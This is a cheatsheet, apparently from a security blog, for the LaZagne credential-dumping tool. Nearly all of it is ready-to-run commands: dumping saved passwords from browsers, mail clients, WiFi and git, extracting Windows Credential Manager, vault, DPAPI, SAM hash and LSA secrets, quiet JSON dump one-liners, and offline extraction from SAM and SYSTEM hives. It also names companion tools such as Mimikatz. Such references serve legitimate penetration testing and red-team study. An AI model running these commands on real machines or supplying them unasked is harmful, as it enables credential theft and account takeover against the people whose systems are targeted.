Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

LaZagne Cheatsheet

Installation

# Windows: Download from releases
https://github.com/AlessandroZ/LaZagne/releases

# Linux/macOS
pip3 install -r requirements.txt
python3 laZagne.py all

Basic Commands

CommandDescription
laZagne.exe allExtract all credentials
laZagne.exe all -quietPasswords only
laZagne.exe all -oJJSON output
laZagne.exe all -oNText file output

Module Categories

CategoryCommand
BrowserslaZagne.exe browsers
Windows CredslaZagne.exe windows
Sysadmin ToolslaZagne.exe sysadmin
Email ClientslaZagne.exe mails
DatabaseslaZagne.exe databases
WiFilaZagne.exe wifi
GitlaZagne.exe git

Windows Credential Manager

Extract All Windows Credentials

laZagne.exe windows

Specific Windows Modules

ModuleCommand
Credential ManagerlaZagne.exe windows -m credman
Windows VaultlaZagne.exe windows -m vault
DPAPI SecretslaZagne.exe windows -m dpapi
Auto-logonlaZagne.exe windows -m autologon
Cached CredslaZagne.exe windows -m cachedump
SAM HasheslaZagne.exe windows -m hashdump
LSA SecretslaZagne.exe windows -m lsa_secrets

With User Password (DPAPI)

laZagne.exe windows -password 'UserPassword123'

Browser Credentials

# All browsers
laZagne.exe browsers

# Specific browser
laZagne.exe browsers -m chrome
laZagne.exe browsers -m firefox
laZagne.exe browsers -m chromiumedge

Output Options

OptionDescription
-quietOnly show passwords
-oNSave as text file
-oJSave as JSON
-oASave all formats
-output <dir>Specify output directory
-vVerbose
-vvExtra verbose

Advanced Options

OptionDescription
-user <name>Target specific user
-password <pass>DPAPI decryption password
-localOffline mode

Offline Extraction

laZagne.exe all -local -sam SAM -security SECURITY -system SYSTEM

Quick One-Liners

Quiet JSON Dump

laZagne.exe all -quiet -oJ

Windows Creds Only

laZagne.exe windows -m credman -m vault -quiet

All Browsers

laZagne.exe browsers -quiet

Linux Commands

python3 laZagne.py all
python3 laZagne.py browsers
python3 laZagne.py sysadmin
python3 laZagne.py memory

ToolUse Case
MimikatzLSASS memory extraction
pypykatzOffline LSASS analysis
SharpDPAPIC# DPAPI attacks